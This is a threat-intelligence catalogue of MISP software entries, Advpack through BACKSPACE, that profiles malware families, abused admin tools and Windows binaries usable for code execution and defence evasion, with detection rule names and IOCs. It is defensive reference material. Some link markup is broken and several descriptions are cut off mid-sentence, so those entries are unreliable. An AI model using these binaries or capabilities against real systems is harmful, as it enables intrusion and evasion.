This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Utility for installing software and drivers with rundll32.exe

Author: LOLBAS Team

Paths: * c:\windows\system32\advpack.dll * c:\windows\syswow64\advpack.dll

Resources: * https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/ * https://twitter.com/ItsReallyNick/status/967859147977850880 * https://twitter.com/bohops/status/974497123101179904 * https://twitter.com/moriarty_meng/status/977848311603380224

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml) * Splunk: [detect_rundll32_application_control_bypass_advpack.yml]([Advpack.dll - LOLBAS Project(/references/837ccb3c-316d-4d96-8a33-b5df40870aba)]}

The tag is: *misp-galaxy:software="Advpack"*

ADVSTORESHELL

[ADVSTORESHELL](https://app.tidalcyber.com/software/ef7f4f5f-6f30-4059-87d1-cd8375bf1bee) is a spying backdoor that has been used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. ^{[[Kaspersky Sofacy](https://app.tidalcyber.com/references/46226f98-c762-48e3-9bcd-19ff14184bb5)]} ^{[[ESET Sednit Part 2](https://app.tidalcyber.com/references/aefb9eda-df5a-437f-af2a-ec1b6c04628b)]}

The tag is: *misp-galaxy:software="ADVSTORESHELL"*

Agent.btz

[Agent.btz](https://app.tidalcyber.com/software/f27c9a91-c618-40c6-837d-089ba4d80f45) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. ^{[[Securelist Agent.btz](https://app.tidalcyber.com/references/3b876c56-1d18-49e3-9a96-5cee4af7ab72)]}

The tag is: *misp-galaxy:software="Agent.btz"*

AgentExecutor

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Intune Management Extension included on Intune Managed Devices

Author: Eleftherios Panos

Paths: * C:\Program Files (x86)\Microsoft Intune Management Extension

Resources:

Detection: * Sigma: [proc_creation_win_lolbin_agentexecutor.yml](https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_agentexecutor.yml) * Sigma: [proc_creation_win_lolbin_agentexecutor_susp_usage.yml]([AgentExecutor.exe - LOLBAS Project(/references/633d7f25-df9d-4619-9aa9-92d1d9d225d7)]</sup>

The tag is: *misp-galaxy:software="AgentExecutor"*

Agent Tesla

[Agent Tesla](https://app.tidalcyber.com/software/304650b1-a0b5-460c-9210-23a5b53815a4) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.^{[[Fortinet Agent Tesla April 2018](https://app.tidalcyber.com/references/86a65be7-0f70-4755-b526-a26b92eabaa2)]}^{[[Bitdefender Agent Tesla April 2020](https://app.tidalcyber.com/references/e3d932fc-0148-43b9-bcc7-971dd7ba3bf8)]}^{[[Malwarebytes Agent Tesla April 2020](https://app.tidalcyber.com/references/87f4fe4c-54cd-40a7-938b-6e6f6d2efbea)]}

The tag is: *misp-galaxy:software="Agent Tesla"*

Akira

[Akira](https://app.tidalcyber.com/software/96ae0e1e-975a-5e11-adbe-c79ee17cee11) ransomware, written in C++, is most prominently (but not exclusively) associated with the ransomware-as-a-

service entity [Akira](https://app.tidalcyber.com/groups/923f478c-7ad1-516f-986d-61f96b9c553e). [Akira](https://app.tidalcyber.com/software/96ae0e1e-975a-5e11-adbe-c79ee17cee11) ransomware has been used in attacks across North America, Europe, and Australia, with a focus on critical infrastructure sectors including manufacturing, education, and IT services. [Akira](https://app.tidalcyber.com/software/96ae0e1e-975a-5e11-adbe-c79ee17cee11) ransomware employs hybrid encryption and threading to increase the speed and efficiency of encryption and runtime arguments for tailored attacks. Notable variants include Rust-based [Megazord](https://app.tidalcyber.com/software/462185ea-09b9-50b2-88f4-b1956d8cb392) for targeting Windows and [Akira _v2](https://app.tidalcyber.com/software/23bfb1d1-2000-5b0e-8f68-5bd67dc31d44) for targeting VMware ESXi servers.^{[[Kersten Akira 2023](https://app.tidalcyber.com/references/df191993-a2cb-5d26-960c-11d1c6d3d73b)]}^{[[CISA Akira Ransomware APR 2024](https://app.tidalcyber.com/references/bfa99833-7ddf-576a-958c-adac87da09c8)]}^{[[Cisco Akira Ransomware OCT 2024](https://app.tidalcyber.com/references/fa57d7ae-c0d2-58cd-8a91-a242f7348d60)]}

The tag is: *misp-galaxy:software="Akira"*

Akira (Linux/ESXi)

Variants of Akira ransomware targeting Linux and ESXi systems have been observed since at least mid-2023.^{[[Cyble September 21 2023](/references/c9a58515-f911-4328-9237-daccd88711a5)]} The Akira Linux/ESXi variant Technique relationships highlighted here mainly derive from reporting focused on samples written in C++, although a Rust-based variant, often referred to as "Akira_v2", has also been observed.^{[[Cyble September 21 2023](/references/c9a58515-f911-4328-9237-daccd88711a5)]}^{[[Unit 42 December 2 2024](/references/3d0c4862-a67e-4f8e-8045-05596854f14b)]}^{[[U.S. CISA Akira April 18 2024](/references/2e8cf25e-1c06-4f14-a6aa-cb7b876ad5be)]}

The tag is: *misp-galaxy:software="Akira (Linux/ESXi)"*

Akira _v2

[Akira _v2](https://app.tidalcyber.com/software/23bfb1d1-2000-5b0e-8f68-5bd67dc31d44) is a Rust-based variant of [Akira](https://app.tidalcyber.com/software/96ae0e1e-975a-5e11-adbe-c79ee17cee11) ransomware that has been in use since at least 2024. [Akira _v2](https://app.tidalcyber.com/software/23bfb1d1-2000-5b0e-8f68-5bd67dc31d44) is designed to target VMware ESXi servers and includes a new command-line argument set and other expanded capabilities.^{[[CISA Akira Ransomware APR 2024](https://app.tidalcyber.com/references/bfa99833-7ddf-576a-958c-adac87da09c8)]}^{[[Cisco Akira Ransomware OCT 2024](https://app.tidalcyber.com/references/fa57d7ae-c0d2-58cd-8a91-a242f7348d60)]}^{[[Palo Alto Howling Scorpius DEC 2024](https://app.tidalcyber.com/references/26d3e738-8921-51bc-a71c-7e74278a6a78)]}

The tag is: *misp-galaxy:software="Akira _v2"*

Amadey

[Amadey](https://app.tidalcyber.com/software/f173ec20-ef40-436b-a859-fef017e1e767) is a Trojan bot that has been used since at least October 2018.^{[[Korean FSI TA505 2020](https://app.tidalcyber.com/references/d4e2c109-341c-45b3-9d41-3eb980724524)]}^{[[BlackBerry Amadey 2020](https://app.tidalcyber.com/references/21b7a7c7-55a2-4235-ba11-d34ba68d1bf5)]}

The tag is: *misp-galaxy:software="Amadey"*

Anchor

[Anchor](https://app.tidalcyber.com/software/9521c535-1043-4b82-ba5d-e5eaeca500ee) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) on selected high profile targets since at least 2018.^{[[Cyberreason Anchor December 2019](https://app.tidalcyber.com/references/a8dc5598-9963-4a1d-a473-bee8d2c72c57)]}^{[[Medium Anchor DNS July 2020](https://app.tidalcyber.com/references/de246d53-385f-44be-bf0f-25a76442b835)]}

The tag is: *misp-galaxy:software="Anchor"*

ANDROMEDA

[ANDROMEDA](https://app.tidalcyber.com/software/69aac793-9e6a-5167-bc62-823189ee2f7b) is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 [C0026](https://app.tidalcyber.com/campaigns/41f283a1-b2ac-547d-98d5-ff907afd08c7) campaign, threat actors re-registered expired [ANDROMEDA](https://app.tidalcyber.com/software/69aac793-9e6a-5167-bc62-823189ee2f7b) C2 domains to spread malware to select targets in Ukraine.^{[[Mandiant Suspected Turla Campaign February 2023](https://app.tidalcyber.com/references/d8f43a52-a59e-5567-8259-821b1b6bde43)]}

The tag is: *misp-galaxy:software="ANDROMEDA"*

Angry IP Scanner

Angry IP Scanner is a tool that adversaries are known to use to search for vulnerable RDP ports.^{[[U.S. CISA Phobos February 29 2024](/references/bd6f9bd3-22ec-42fc-9d85-fdc14dcfa55a)]}

The tag is: *misp-galaxy:software="Angry IP Scanner"*

Anubis Backdoor

A Python-based backdoor used by FIN7 for remote access, featuring multi-layered obfuscation, encryption, and modular command structure.<sup>[[G DATA CyberDefense AG March 20

2025](/references/a9b00314-5a02-4fa8-9d34-27f05a71ff3c)]</sup>

The tag is: *misp-galaxy:software="Anubis Backdoor"*

Anubis Ransomware

A custom ransomware binary developed by the Anubis ransomware group, which uses double extortion tactics and operates as a ransomware-as-a-service (RaaS). The ransomware is reportedly capable of privilege escalation, self-propagation to facilitate wider encryption, and even has a file-wiping capability.^{[[Kelacyber February 25 2025](/references/321f34fb-b80b-4bd3-bceb-e51b6214b883)]}^{[[Trend Micro - United States June 13 2025](/references/3a4ea2fc-b423-4514-95f6-5bff4afff82f)]}

The tag is: *misp-galaxy:software="Anubis Ransomware"*

AnyDesk

AnyDesk is a tool used to enable remote connections to network devices.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="AnyDesk"*

Apostle

[Apostle](https://app.tidalcyber.com/software/f525a28f-2500-585c-a1c7-063ecec8376e) is malware that has functioned as both a wiper and, in more recent versions, as ransomware. [Apostle](https://app.tidalcyber.com/software/f525a28f-2500-585c-a1c7-063ecec8376e) is written in .NET and shares various programming and functional overlaps with [IPsec Helper]([SentinelOne Agrius 2021(https://app.tidalcyber.com/references/b5b433a1-5d12-5644-894b-c42d995c9ba5)]</sup>

The tag is: *misp-galaxy:software="Apostle"*

AppCert

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Windows App Certification Kit command-line tool.

Author: Avihay Eldad

Paths: * C:\Program Files (x86)\Windows Kits\10\App Certification Kit\appcert.exe * C:\Program Files\Windows Kits\10\App Certification Kit\appcert.exe

Resources: * [https://learn.microsoft.com/windows/win32/win_cert/using-the-windows-app-certification-kit](https://learn.microsoft.com/windows/win32/win_cert/using-the-windows-app-

certification-kit)

Detection: None Provided^{[[AppCert.exe - LOLBAS Project](/references/bc17c39a-5865-4c1e-b60e-06005a7302c9)]}

The tag is: *misp-galaxy:software="AppCert"*

AppInstaller

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Tool used for installation of AppX/MSIX applications on Windows 10

Author: Wade Hickey

Paths: * C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\AppInstaller.exe

Resources: * https://twitter.com/notwhickey/status/1333900137232523264

Detection: * Sigma: [dns_query_win_lolbin_appinstaller.yml]([AppInstaller.exe - LOLBAS Project(/references/9a777e7c-e76c-465c-8b45-67503e715f7e)]</sup>

The tag is: *misp-galaxy:software="AppInstaller"*

AppleJeus

[AppleJeus](https://app.tidalcyber.com/software/cdeb3110-07e5-4c3d-9eef-e6f2b760ef33) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://app.tidalcyber.com/software/cdeb3110-07e5-4c3d-9eef-e6f2b760ef33) has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://app.tidalcyber.com/software/cdeb3110-07e5-4c3d-9eef-e6f2b760ef33) has been used to distribute the [FALLCHILL](https://app.tidalcyber.com/software/ea47f1fd-0171-4254-8c92-92b7a5eec5e1) RAT.^{[[CISA AppleJeus Feb 2021](https://app.tidalcyber.com/references/6873e14d-eba4-4e3c-9ccf-cec1d760f0be)]}

The tag is: *misp-galaxy:software="AppleJeus"*

AppleSeed

[AppleSeed](https://app.tidalcyber.com/software/9df2e42e-b454-46ea-b50d-2f7d999f3d42) is a

backdoor that has been used by [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) to target South Korean government, academic, and commercial targets since at least 2021.^{[[Malwarebytes Kimsuky June 2021](https://app.tidalcyber.com/references/9a497c56-f1d3-4889-8c1a-14b013f14668)]}

The tag is: *misp-galaxy:software="AppleSeed"*

Appvlp

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Application Virtualization Utility Included with Microsoft Office 2016

Author: Oddvar Moe

Paths: * C:\Program Files\Microsoft Office\root\client\appvlp.exe * C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

Resources: * https://github.com/MoooKitty/Code-Execution * https://twitter.com/moo_hax/status/892388990686347264 * https://enigma0x3.net/2018/06/11/the-tale-of-settingcontent-ms-files/ * https://securityboulevard.com/2018/07/attackers-test-new-document-attack-vector-that-slips-past-office-defenses/

Detection: * Sigma: [proc_creation_win_lolbin_appvlp.yml]([Appvlp.exe - LOLBAS Project](/references/b0afe3e8-9f1d-4295-8811-8dfbe993c337)]</sup>

The tag is: *misp-galaxy:software="Appvlp"*

AresLoader

AresLoader is a loader malware distributed as malware-as-a-service. It has been observed being both dropped by and delivering SystemBC, a known ransomware precursor.^{[[New loader on the bloc - AresLoader | Intel471](/references/1bdd0957-1f5b-4323-bf49-f5c41b8c397a)]}

The tag is: *misp-galaxy:software="AresLoader"*

Aria-body

[Aria-body](https://app.tidalcyber.com/software/7ba79887-d496-47aa-8b71-df7f46329322) is a custom backdoor that has been used by [Naikon](https://app.tidalcyber.com/groups/a80c00b2-b8b6-4780-99bb-df8fe921947d) since approximately 2017.^{[[CheckPoint Naikon May 2020](https://app.tidalcyber.com/references/f080acab-a6a0-42e1-98ff-45e415393648)]}

The tag is: *misp-galaxy:software="Aria-body"*

Arp

[Arp](https://app.tidalcyber.com/software/45b51950-6190-4572-b1a2-7c69d865251e) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. ^{[[TechNet Arp](https://app.tidalcyber.com/references/7714222e-8046-4884-b460-493d9ef46305)]}

The tag is: *misp-galaxy:software="Arp"*

Asnarok

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="Asnarok"*

Aspnet_Compiler

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: ASP.NET Compilation Tool

Author: Jimmy (@bohops)

Paths: * c:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe * c:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe

Resources: * https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/ * https://docs.microsoft.com/en-us/dotnet/api/system.web.compilation.buildprovider.generatecode?view=netframework-4.8

Detection: * BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules * Sigma: [proc_creation_win_lolbin_aspnet_compiler.yml]([Aspnet_Compiler.exe - LOLBAS Project(/references/15864c56-115e-4163-b816-03bdb9bfd5c5)]</sup>

The tag is: *misp-galaxy:software="Aspnet_Compiler"*

ASPXSpy

[ASPXSpy](https://app.tidalcyber.com/software/a0cce010-9158-45e5-978a-f002e5c31a03) is a Web shell. It has been modified by [Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5) actors to create the ASPXTool version. ^{[[Dell TG-3390](https://app.tidalcyber.com/references/dfd2d832-a6c5-40e7-a554-5a92f05bebae)]}

The tag is: *misp-galaxy:software="ASPXSpy"*

Astaroth

[Astaroth](https://app.tidalcyber.com/software/ea719a35-cbe9-4503-873d-164f68ab4544) is a Trojan and information stealer known to affect companies in Europe, Brazil, and throughout Latin America. It has been known publicly since at least late 2017. ^{[[Cybereason Astaroth Feb 2019](https://app.tidalcyber.com/references/eb4dc1f8-c6e7-4d6c-9258-b03a0ae64d2e)]}^{[[Cofense Astaroth Sept 2018](https://app.tidalcyber.com/references/d316c581-646d-48e7-956e-34e2f957c67d)]}^{[[Securelist Brazilian Banking Malware July 2020](https://app.tidalcyber.com/references/ccc34875-93f3-40ed-a9ee-f31b86708507)]}

The tag is: *misp-galaxy:software="Astaroth"*

AsyncRAT

[AsyncRAT](https://app.tidalcyber.com/software/d587efff-4699-51c7-a4cc-bdbd1b302ed4) is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.^{[[Morphisec Snip3 May 2021](https://app.tidalcyber.com/references/abe44c50-8347-5c98-8b04-d41afbe59d4c)]}^{[[Cisco Operation Layover September 2021](https://app.tidalcyber.com/references/f19b4bd5-99f9-54c0-bffe-cc9c052aea12)]}^{[[Telefonica Snip3 December 2021](https://app.tidalcyber.com/references/f026dd44-1491-505b-8a8a-e4f28c6cd6a7)]}

The tag is: *misp-galaxy:software="AsyncRAT"*

at

[at](https://app.tidalcyber.com/software/af01dc7b-a2bc-4fda-bbfe-d2be889c2860) is used to schedule tasks on a system to run at a specified date or time.^{[[TechNet At](https://app.tidalcyber.com/references/31b40c09-d68f-4889-b585-c077bd9cef28)]}^{[[Linux at](https://app.tidalcyber.com/references/3e3a84bc-ab6d-460d-8abc-cafae6eaaedd)]}

The tag is: *misp-galaxy:software="at"*

Atbroker

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/

LICENSE).

Description: Helper binary for Assistive Technology (AT)

Author: Oddvar Moe

Paths: * C:\Windows\System32\Atbroker.exe * C:\Windows\SysWOW64\Atbroker.exe

Resources: * http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/

Detection: * Sigma: [proc_creation_win_lolbin_susp_atbroker.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml) * Sigma: [registry_event_susp_atbroker_change.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml) * IOC: Changes to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\Configuration * IOC: Changes to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs * IOC: Unknown AT starting C:\Windows\System32\ATBroker.exe /start malware^{[[Atbroker.exe - LOLBAS Project](/references/b0c21b56-6591-49c3-8e67-328ddb7b436d)]}

The tag is: *misp-galaxy:software="Atbroker"*

Atera Agent

Atera Agent is a legitimate remote administration tool (specifically a remote management and maintenance ("RMM") solution) that adversaries have used as a command and control tool for remote code execution, tool ingress, and persisting in victim environments.^{[[U.S. CISA PaperCut May 2023](/references/b5ef2b97-7cc7-470b-ae97-a45dc4af32a6)]}

The tag is: *misp-galaxy:software="Atera Agent"*

Atomic Stealer

Atomic Stealer is an information-stealing malware ("infostealer") designed to harvest passwords, cookies, and other sensitive information from macOS systems. It is often delivered via malicious download sites promoted via malvertising.^{[[Malwarebytes 9 6 2023](/references/5f2f6a12-26c5-4c74-98ad-48b67379a716)]}

The tag is: *misp-galaxy:software="Atomic Stealer"*

Attor

[Attor](https://app.tidalcyber.com/software/89c35e9f-b435-4f58-9073-f24c1ee8754f) is a Windows-based espionage platform that has been seen in use since 2013. [Attor](https://app.tidalcyber.com/software/89c35e9f-b435-4f58-9073-f24c1ee8754f) has a loadable plugin architecture to customize functionality for specific targets.^{[[ESET Attor Oct 2019](https://app.tidalcyber.com/references/fdd57c56-d989-4a6f-8cc5-5b3713605dec)]}

The tag is: *misp-galaxy:software="Attor"*

attrib

[attrib](https://app.tidalcyber.com/software/2e25bdd2-3659-5f01-84a9-9b43dc13c8b6) is a Windows utility used to display, set or remove attributes assigned to files or directories.^{[[Microsoft attrib 2023](https://app.tidalcyber.com/references/47ff2831-85b9-5873-95aa-2cd676d1e82d)]}

The tag is: *misp-galaxy:software="attrib"*

AuditCred

[AuditCred](https://app.tidalcyber.com/software/d0c25f14-5eb3-40c1-a890-2ab1349dff53) is a malicious DLL that has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) during their 2018 attacks.^{[[TrendMicro Lazarus Nov 2018](https://app.tidalcyber.com/references/4c697316-c13a-4243-be18-c0e059e4168c)]}

The tag is: *misp-galaxy:software="AuditCred"*

AuKill

A tool capable of terminating security tools, likely used to diversify monetization strategies by disabling security measures on compromised systems.^{[[The Hacker News April 2 2025](/references/22857eb3-b5f7-4677-bf5c-bc993f483450)]}

The tag is: *misp-galaxy:software="AuKill"*

AutoIt backdoor

[AutoIt backdoor](https://app.tidalcyber.com/software/3f927596-5219-49eb-bd0d-57068b0e04ed) is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. ^{[[Forcepoint Monsoon](https://app.tidalcyber.com/references/ea64a3a5-a248-44bb-98cd-f7e3d4c23d4e)]}
This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

The tag is: *misp-galaxy:software="AutoIt backdoor"*

Automim

Researchers describe Automim as a "collection of .cmd, .vbs and .bat files that automate the execution" of the Mimikatz and LaZagne credential harvesting tools.^{[[CrowdStrike Endpoint Security Testing Oct 2021](/references/4cecfe1f-c1d2-4a71-ac17-0effd5f045df)]}

The tag is: *misp-galaxy:software="Automim"*

AuTo Stealer

[AuTo Stealer](https://app.tidalcyber.com/software/649a4cfc-c0d0-412d-a28c-1bd4ed604ea8) is malware written in C++ has been used by [SideCopy](https://app.tidalcyber.com/groups/31bc763e-623f-4870-9780-86e43d732594) since at least December 2021 to target government agencies and personnel in India and Afghanistan.^{[[MalwareBytes SideCopy Dec 2021](https://app.tidalcyber.com/references/466569a7-1ef8-4824-bd9c-d25301184ea4)]}

The tag is: *misp-galaxy:software="AuTo Stealer"*

Avaddon

[Avaddon](https://app.tidalcyber.com/software/bad92974-35f6-4183-8024-b629140c6ee6) is ransomware written in C++ that has been offered as Ransomware-as-a-Service (RaaS) since at least June 2020.^{[[Awake Security Avaddon](https://app.tidalcyber.com/references/c113cde7-5dd5-45e9-af16-3ab6ed0b1728)]}^{[[Arxiv Avaddon Feb 2021](https://app.tidalcyber.com/references/dbee8e7e-f477-4bd5-8225-84e0e222617e)]}

The tag is: *misp-galaxy:software="Avaddon"*

Avenger

[Avenger](https://app.tidalcyber.com/software/e5ca0192-e905-46a1-abef-ce1119c1f967) is a downloader that has been used by [BRONZE BUTLER](https://app.tidalcyber.com/groups/5825a840-5577-4ffc-a08d-3f48d64395cb) since at least 2019.^{[[Trend Micro Tick November 2019](https://app.tidalcyber.com/references/93adbf0d-5f5e-498e-aca1-ed3eb11561e7)]}

The tag is: *misp-galaxy:software="Avenger"*

AvosLocker

[AvosLocker](https://app.tidalcyber.com/software/e792dc8d-b0f4-5916-8850-a61ff53125d0) is ransomware written in C++ that has been offered via the Ransomware-as-a-Service (RaaS) model. It was first observed in June 2021 and has been used against financial services, critical manufacturing, government facilities, and other critical infrastructure sectors in the United States. As of March 2022, [AvosLocker](https://app.tidalcyber.com/software/e792dc8d-b0f4-5916-8850-a61ff53125d0) had also been used against organizations in Belgium, Canada, China, Germany, Saudi Arabia, Spain, Syria, Taiwan, Turkey, the United Arab Emirates, and the United Kingdom.^{[[Malwarebytes AvosLocker Jul 2021](https://app.tidalcyber.com/references/88dffb14-a7a7-5b36-b269-8283dec0f1a3)]}^{[[Trend Micro AvosLocker Apr 2022](https://app.tidalcyber.com/references/01fdc732-0951-59e2-afaf-5fe761357e7f)]}^{[[Joint CSA AvosLocker Mar 2022](https://app.tidalcyber.com/references/8ad57a0d-d74f-5802-ab83-4ddac1beb083)]}

The tag is: *misp-galaxy:software="AvosLocker"*

awk

Awk is a scripting language used for manipulating data and generating reports. The awk command programming language requires no compiling and allows the user to use variables, numeric functions, string functions, and logical operators.

Awk is a utility that enables a programmer to write tiny but effective programs in the form of statements that define text patterns that are to be searched for in each line of a document and the action that is to be taken when a match is found within a line. Awk is mostly used for pattern scanning and processing. It searches one or more files to see if they contain lines that matches with the specified patterns and then perform the associated actions.^{[[GeeksforGeeks October 10 2017](/references/71dcac81-efb2-4631-80bd-5fae77c32d7f)]}

The tag is: *misp-galaxy:software="awk"*

AzCopy

AzCopy is a command line tool that enables Azure storage data transfers. It facilitates file transfer activity for Azure Storage Explorer, another legitimate utility that has been abused by ransomware operations like the BianLian and Rhysida gangs.^{[[modePUSH Azure Storage Explorer September 14 2024](/references/a4c50b03-f0d7-4d29-a9de-e550be61390c)]}

The tag is: *misp-galaxy:software="AzCopy"*

Azorult

[Azorult](https://app.tidalcyber.com/software/cc68a7f0-c955-465f-bee0-2dacbb179078) is a commercial Trojan that is used to steal information from compromised hosts. [Azorult](https://app.tidalcyber.com/software/cc68a7f0-c955-465f-bee0-2dacbb179078) has been observed in the wild as early as 2016. In July 2018, [Azorult](https://app.tidalcyber.com/software/cc68a7f0-c955-465f-bee0-2dacbb179078) was seen used in a spearphishing campaign against targets in North America. [Azorult](https://app.tidalcyber.com/software/cc68a7f0-c955-465f-bee0-2dacbb179078) has been seen used for cryptocurrency theft. ^{[[Unit42 Azorult Nov 2018](https://app.tidalcyber.com/references/44ceddf6-bcbf-4a60-bb92-f8cdc675d185)]}^{[[Proofpoint Azorult July 2018](https://app.tidalcyber.com/references/a85c869a-3ba3-42c2-9460-d3d1f0874044)]}

The tag is: *misp-galaxy:software="Azorult"*

AzureHound

AzureHound is a tool used to enumerate information about users, roles, groups, applications, and devices in a Microsoft Entra ID tenant. It is used to gain information about the configuration of the compromised organization's Microsoft Entra ID.^{[[Microsoft Security Blog May 27 2025](/references/e7ea6602-f448-46f2-9ce8-9afbc226807d)]}

The tag is: *misp-galaxy:software="AzureHound"*

Azure Storage Explorer

Azure Storage Explorer is a Microsoft application that provides a graphical interface for managing Azure storage elements, as well as file and folder download and upload capabilities. The associated AzCopy tool facilitates actual Azure Storage Explorer file transfer capabilities.^{[[modePUSH Azure Storage Explorer September 14 2024](/references/a4c50b03-f0d7-4d29-a9de-e550be61390c)]}

The tag is: *misp-galaxy:software="Azure Storage Explorer"*

Babuk

[Babuk](https://app.tidalcyber.com/software/0dc07eb9-66df-4116-b1bc-7020ca6395a1) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://app.tidalcyber.com/software/0dc07eb9-66df-4116-b1bc-7020ca6395a1) employ a "Big Game Hunting" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.^{[[Sogeti CERT ESEC Babuk March 2021](https://app.tidalcyber.com/references/e85e3bd9-6ddc-4d0f-a16c-b525a75baa7e)]}^{[[McAfee Babuk February 2021](https://app.tidalcyber.com/references/bb23ca19-78bb-4406-90a4-bf82bd467e04)]}^{[[CyberScoop Babuk February 2021](https://app.tidalcyber.com/references/0a0aeacd-0976-4c84-b40d-5704afca9f0e)]}

The tag is: *misp-galaxy:software="Babuk"*

BabyShark

[BabyShark](https://app.tidalcyber.com/software/ebb824a2-abff-4bfd-87f0-d63cb02b62e6) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. ^{[[Unit42 BabyShark Feb 2019](https://app.tidalcyber.com/references/634404e3-e2c9-4872-a280-12d2be168cba)]}

The tag is: *misp-galaxy:software="BabyShark"*

BackConfig

[BackConfig](https://app.tidalcyber.com/software/2763ad8c-cf4e-42eb-88db-a40ff8f96cf9) is a custom Trojan with a flexible plugin architecture that has been used by [Patchwork]([Unit 42 BackConfig May 2020(https://app.tidalcyber.com/references/f26629db-c641-4b6b-abbf-b55b9cc91cf1)]</sup>

The tag is: *misp-galaxy:software="BackConfig"*

Backdoor.Oldrea

[Backdoor.Oldrea](https://app.tidalcyber.com/software/f7cc5974-767c-4cb4-acc7-36295a386ce5) is a modular backdoor that used by [Dragonfly](https://app.tidalcyber.com/groups/472080b0-e3d4-4546-9272-c4359fe856e1) against energy companies since at least 2013.

[Backdoor.Oldrea](https://app.tidalcyber.com/software/f7cc5974-767c-4cb4-acc7-36295a386ce5) was distributed via supply chain compromise, and included specialized modules to enumerate and map ICS-specific systems, processes, and protocols.^{[[Symantec Dragonfly](https://app.tidalcyber.com/references/9514c5cd-2ed6-4dbf-aa9e-1c425e969226)]}^{[[Gigamon Berserk Bear October 2021](https://app.tidalcyber.com/references/06b6cbe3-8e35-4594-b36f-76b503c11520)]}^{[[Symantec Dragonfly Sept 2017](https://app.tidalcyber.com/references/11bbeafc-ed5d-4d2b-9795-a0a9544fb64e)]}

The tag is: *misp-galaxy:software="Backdoor.Oldrea"*

BACKSPACE

